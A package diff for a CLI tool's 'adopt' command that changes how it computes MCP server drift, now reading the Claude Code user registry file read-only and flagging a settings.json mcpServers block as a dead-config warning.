* `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
|
|
68
|
+
* `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
|
|
69
|
+
* settings.json block, so `computeMcpDrift` can diff either source
|
|
70
|
+
* against the manifest projection uniformly.
|
|
71
|
+
*
|
|
72
|
+
* D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
|
|
73
|
+
* regardless of the `<file>` CLI argument — settings.json's own
|
|
74
|
+
* `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
|
|
75
|
+
* dead at runtime and is surfaced only as a warning, never as drift.
|
|
76
|
+
*/
|
|
77
|
+
export declare function projectRegistryMcpServers(servers: Record<string, unknown>): DerivedMcp[];
|
|
63
78
|
export declare function manifestMcpProjection(manifest: Manifest, homeDir?: string): DerivedMcp[];
|
|
64
79
|
export type McpDriftReason = "new" | "modified";
|
|
65
80
|
export interface McpDriftEntry {
|
package/dist/cli/adopt/derive.js
CHANGED
|
@@ -99,14 +99,16 @@ export function synthesizeName(d, taken) {
|
|
|
99
99
|
function isRecord(x) {
|
|
100
100
|
return typeof x === "object" && x !== null && !Array.isArray(x);
|
|
101
101
|
}
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
102
|
+
/**
|
|
103
|
+
* Shared per-entry projection: a raw `{ name -> spec }` map (settings.json's
|
|
104
|
+
* `mcpServers` block, or the registry's top-level `mcpServers` key) into the
|
|
105
|
+
* flat `DerivedMcp[]` shape both `parseSettingsMcpServers` (dead-block
|
|
106
|
+
* warning, task 83d8d03a) and `projectRegistryMcpServers` (the actual
|
|
107
|
+
* drift source, D-101) need identically.
|
|
108
|
+
*/
|
|
109
|
+
function projectMcpServersRecord(entries) {
|
|
108
110
|
const out = [];
|
|
109
|
-
for (const [name, specRaw] of Object.entries(
|
|
111
|
+
for (const [name, specRaw] of Object.entries(entries)) {
|
|
110
112
|
if (!isRecord(specRaw))
|
|
111
113
|
continue;
|
|
112
114
|
const spec = specRaw;
|
|
@@ -130,6 +132,31 @@ export function parseSettingsMcpServers(raw) {
|
|
|
130
132
|
}
|
|
131
133
|
return out;
|
|
132
134
|
}
|
|
135
|
+
export function parseSettingsMcpServers(raw) {
|
|
136
|
+
if (!isRecord(raw))
|
|
137
|
+
return [];
|
|
138
|
+
const root = raw;
|
|
139
|
+
if (!isRecord(root.mcpServers))
|
|
140
|
+
return [];
|
|
141
|
+
return projectMcpServersRecord(root.mcpServers);
|
|
142
|
+
}
|
|
143
|
+
/**
|
|
144
|
+
* Project the effective Claude Code user-scope MCP registry — the
|
|
145
|
+
* top-level `mcpServers` map of `~/.claude.json` /
|
|
146
|
+
* `$CLAUDE_CONFIG_DIR/.claude.json`, read read-only via
|
|
147
|
+
* `readTopLevelMcpServers` in io/claude-mcp.ts — into the same flat
|
|
148
|
+
* `DerivedMcp[]` shape `parseSettingsMcpServers` produces for the (dead)
|
|
149
|
+
* settings.json block, so `computeMcpDrift` can diff either source
|
|
150
|
+
* against the manifest projection uniformly.
|
|
151
|
+
*
|
|
152
|
+
* D-101: this is now the ONLY source `adopt` uses to compute MCP drift,
|
|
153
|
+
* regardless of the `<file>` CLI argument — settings.json's own
|
|
154
|
+
* `mcpServers` block (still parsed by `parseSettingsMcpServers` above) is
|
|
155
|
+
* dead at runtime and is surfaced only as a warning, never as drift.
|
|
156
|
+
*/
|
|
157
|
+
export function projectRegistryMcpServers(servers) {
|
|
158
|
+
return projectMcpServersRecord(servers);
|
|
159
|
+
}
|
|
133
160
|
export function manifestMcpProjection(manifest, homeDir) {
|
|
134
161
|
const out = manifest.tools.mcp.map(toDerivedMcp);
|
|
135
162
|
// Mirror apply's grounding projection (generate-settings.ts,
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"derive.js","sourceRoot":"","sources":["../../../src/cli/adopt/derive.ts"],"names":[],"mappings":"AACA,OAAO,EACL,sBAAsB,EACtB,yBAAyB,EACzB,uBAAuB,GACxB,MAAM,+BAA+B,CAAC;AAEvC,MAAM,YAAY,GAAG,IAAI,GAAG,CAAC;IAC3B,cAAc;IACd,kBAAkB;IAClB,YAAY;IACZ,aAAa;IACb,MAAM;IACN,cAAc;IACd,YAAY;CACb,CAAC,CAAC;AA0BH;;;GAGG;AACH,MAAM,UAAU,kBAAkB,CAAC,GAAY;IAC7C,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC;QAAE,OAAO,EAAE,CAAC;IAC9B,MAAM,IAAI,GAAG,GAAmB,CAAC;IACjC,IAAI,CAAC,IAAI,CAAC,KAAK,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC;QAAE,OAAO,EAAE,CAAC;IACpD,MAAM,GAAG,GAAkB,EAAE,CAAC;IAC9B,KAAK,MAAM,CAAC,KAAK,EAAE,MAAM,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC;QACzD,IAAI,CAAC,YAAY,CAAC,GAAG,CAAC,KAAK,CAAC;YAAE,SAAS;QACvC,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,MAAM,CAAC;YAAE,SAAS;QACrC,KAAK,MAAM,KAAK,IAAI,MAAM,EAAE,CAAC;YAC3B,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC;gBAAE,SAAS;YAC/B,MAAM,OAAO,GACX,OAAO,KAAK,CAAC,OAAO,KAAK,QAAQ,IAAI,KAAK,CAAC,OAAO,CAAC,MAAM,GAAG,CAAC;gBAC3D,CAAC,CAAC,KAAK,CAAC,OAAO;gBACf,CAAC,CAAC,SAAS,CAAC;YAChB,MAAM,KAAK,GAAI,KAA2B,CAAC,KAAK,CAAC;YACjD,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC;gBAAE,SAAS;YACpC,KAAK,MAAM,CAAC,IAAI,KAAK,EAAE,CAAC;gBACtB,IAAI,CAAC,QAAQ,CAAC,CAAC,CAAC;oBAAE,SAAS;gBAC3B,IAAI,OAAO,CAAC,CAAC,OAAO,KAAK,QAAQ,IAAI,CAAC,CAAC,OAAO,CAAC,MAAM,KAAK,CAAC;oBAAE,SAAS;gBACtE,uDAAuD;gBACvD,+DAA+D;gBAC/D,2DAA2D;gBAC3D,MAAM,OAAO,GACX,OAAO,CAAC,CAAC,OAAO,KAAK,QAAQ,IAAI,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,OAAO,GAAG,CAAC;oBAC3E,CAAC,CAAC,CAAC,CAAC,OAAO;oBACX,CAAC,CAAC,SAAS,CAAC;gBAChB,GAAG,CAAC,IAAI,CAAC;oBACP,KAAK;oBACL,OAAO,EAAE,CAAC,CAAC,OAAO;oBAClB,GAAG,CAAC,OAAO,KAAK,SAAS,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;oBACpD,GAAG,CAAC,OAAO,KAAK,SAAS,CAAC,CAAC,CAAC,EAAE,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;iBAC9C,CAAC,CAAC;YACL,CAAC;QACH,CAAC;IACH,CAAC;IACD,OAAO,GAAG,CAAC;AACb,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,kBAAkB,CAAC,QAAkB;IACnD,OAAO,QAAQ,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE;QAC9B,MAAM,GAAG,GAAgB,EAAE,KAAK,EAAE,CAAC,CAAC,KAAK,EAAE,OAAO,EAAE,CAAC,CAAC,OAAO,EAAE,CAAC;QAChE,IAAI,CAAC,CAAC,KAAK,KAAK,SAAS;YAAE,GAAG,CAAC,KAAK,GAAG,CAAC,CAAC,KAAK,CAAC;QAC/C,OAAO,GAAG,CAAC;IACb,CAAC,CAAC,CAAC;AACL,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,YAAY,CAC1B,aAA4B,EAC5B,aAA4B;IAE5B,MAAM,QAAQ,GAAG,IAAI,GAAG,CAAC,aAAa,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC;IACnD,OAAO,aAAa,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,QAAQ,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;AAC9D,CAAC;AAED,SAAS,KAAK,CAAC,CAAc;IAC3B,OAAO,GAAG,CAAC,CAAC,KAAK,OAAO,CAAC,CAAC,OAAO,OAAO,CAAC,CAAC,KAAK,IAAI,EAAE,EAAE,CAAC;AAC1D,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,cAAc,CAC5B,CAAc,EACd,KAAkB;IAElB,MAAM,UAAU,GAAG,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC;IAC1D,MAAM,IAAI,GAAG,UAAU,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,GAAG,EAAE,IAAI,EAAE,CAAC;IAC/C,MAAM,IAAI,GAAG,IAAI,CAAC,OAAO,CAAC,UAAU,EAAE,EAAE,CAAC,CAAC;IAC1C,MAAM,IAAI,GAAG,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,cAAc,CAAC;IACrD,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,IAAI,CAAC;QAAE,OAAO,IAAI,CAAC;IAClC,IAAI,CAAC,GAAG,CAAC,CAAC;IACV,OAAO,KAAK,CAAC,GAAG,CAAC,GAAG,IAAI,IAAI,CAAC,EAAE,CAAC;QAAE,CAAC,EAAE,CAAC;IACtC,OAAO,GAAG,IAAI,IAAI,CAAC,EAAE,CAAC;AACxB,CAAC;AAED,SAAS,QAAQ,CAAC,CAAU;IAC1B,OAAO,OAAO,CAAC,KAAK,QAAQ,IAAI,CAAC,KAAK,IAAI,IAAI,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC;AAClE,CAAC;AA0BD,
|
|
1
|
+
{"version":3,"file":"derive.js","sourceRoot":"","sources":["../../../src/cli/adopt/derive.ts"],"names":[],"mappings":"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"}
|
|
@@ -11,6 +11,21 @@ export interface AdoptOptions {
|
|
|
11
11
|
* exercised hermetically.
|
|
12
12
|
*/
|
|
13
13
|
stdinIsTTY?: boolean;
|
|
14
|
+
/**
|
|
15
|
+
* Test seam (D-101/D-102, task 83d8d03a): explicit override for the
|
|
16
|
+
* Claude Code user-scope MCP registry file (~/.claude.json /
|
|
17
|
+
* $CLAUDE_CONFIG_DIR/.claude.json) `adopt` reads READ-ONLY to compute
|
|
18
|
+
* MCP drift. Takes precedence over `env`. Production callers leave this
|
|
19
|
+
* unset; the CLI never needs to pass it since the real registry always
|
|
20
|
+
* lives at the resolved default path.
|
|
21
|
+
*/
|
|
22
|
+
registryPath?: string;
|
|
23
|
+
/**
|
|
24
|
+
* Override for process.env (CLAUDE_CONFIG_DIR lookup) used to resolve
|
|
25
|
+
* the default registry path when `registryPath` is not given. Defaults
|
|
26
|
+
* to `process.env`.
|
|
27
|
+
*/
|
|
28
|
+
env?: NodeJS.ProcessEnv;
|
|
14
29
|
}
|
|
15
30
|
export interface AdoptResult {
|
|
16
31
|
manifestPath: string;
|
|
@@ -31,5 +46,20 @@ export interface AdoptResult {
|
|
|
31
46
|
replacedMcpNames: string[];
|
|
32
47
|
/** Human-readable status: "no-drift" | "declined" | "applied". */
|
|
33
48
|
outcome: "no-drift" | "declined" | "applied";
|
|
49
|
+
/**
|
|
50
|
+
* Names present in a legacy/dead top-level `mcpServers` block inside
|
|
51
|
+
* `settingsPath` (D-101, task 83d8d03a). Claude Code does not read this
|
|
52
|
+
* file for MCP registration at runtime (io/claude-mcp.ts:1-9) — this is
|
|
53
|
+
* surfaced purely as a cleanup hint, NEVER as a source of `mcpDrift`.
|
|
54
|
+
* Sorted; empty when `settingsPath` has no such block.
|
|
55
|
+
*/
|
|
56
|
+
deadSettingsMcpNames: string[];
|
|
57
|
+
/**
|
|
58
|
+
* Set when the effective MCP registry file could not be read safely
|
|
59
|
+
* (malformed JSON, `mcpServers` not an object — an ENOENT/missing file
|
|
60
|
+
* is NOT an error and leaves this unset). MCP drift is computed against
|
|
61
|
+
* an empty registry projection in that case rather than guessing.
|
|
62
|
+
*/
|
|
63
|
+
registryReadError?: string;
|
|
34
64
|
}
|
|
35
65
|
export declare function adopt(settingsPath: string, opts?: AdoptOptions): Promise<AdoptResult>;
|
package/dist/cli/adopt/index.js
CHANGED
|
@@ -10,7 +10,8 @@ import { formatValidationErrors, validateBeforeWrite, } from "../../io/validate-
|
|
|
10
10
|
import { parseManifest } from "../../schema/index.js";
|
|
11
11
|
import { applyAdd } from "../add/mutate.js";
|
|
12
12
|
import { EX_FAIL, EX_NOINPUT, HarnessExitError } from "../exit-codes.js";
|
|
13
|
-
import {
|
|
13
|
+
import { readTopLevelMcpServers, resolveClaudeUserRegistryPath } from "../../io/claude-mcp.js";
|
|
14
|
+
import { computeDrift, computeMcpDrift, manifestMcpProjection, manifestProjection, parseSettingsHooks, parseSettingsMcpServers, projectRegistryMcpServers, synthesizeName, } from "./derive.js";
|
|
14
15
|
const DEFAULT_BASENAME = "harness.yaml";
|
|
15
16
|
const LOCK_BASENAME = ".harness.lock";
|
|
16
17
|
function resolveManifestPath(opts) {
|
|
@@ -50,9 +51,22 @@ export async function adopt(settingsPath, opts = {}) {
|
|
|
50
51
|
}
|
|
51
52
|
const settingsHooks = parseSettingsHooks(settingsRaw);
|
|
52
53
|
const drift = computeDrift(settingsHooks, projection);
|
|
53
|
-
|
|
54
|
+
// D-101: MCP drift is ALWAYS computed against the effective Claude Code
|
|
55
|
+
// user-scope registry (read-only top-level `mcpServers` of
|
|
56
|
+
// ~/.claude.json / $CLAUDE_CONFIG_DIR/.claude.json), regardless of
|
|
57
|
+
// `settingsPath` — Claude Code does not consume settings.json's
|
|
58
|
+
// `mcpServers` block at runtime (io/claude-mcp.ts:1-9). `settingsPath`
|
|
59
|
+
// remains the source for hook adoption above. A dead `mcpServers` block
|
|
60
|
+
// in `settingsPath`, if present, is still surfaced (`deadSettingsMcpNames`)
|
|
61
|
+
// as a cleanup hint but never feeds `mcpDrift`.
|
|
62
|
+
const deadSettingsMcpNames = parseSettingsMcpServers(settingsRaw)
|
|
63
|
+
.map((m) => m.name)
|
|
64
|
+
.sort();
|
|
65
|
+
const registryPath = opts.registryPath ?? resolveClaudeUserRegistryPath({ env: opts.env });
|
|
66
|
+
const { servers: registryServers, error: registryReadError } = readTopLevelMcpServers(registryPath);
|
|
67
|
+
const registryMcp = projectRegistryMcpServers(registryServers);
|
|
54
68
|
const mcpProjection = manifestMcpProjection(manifest);
|
|
55
|
-
const mcpDrift = computeMcpDrift(
|
|
69
|
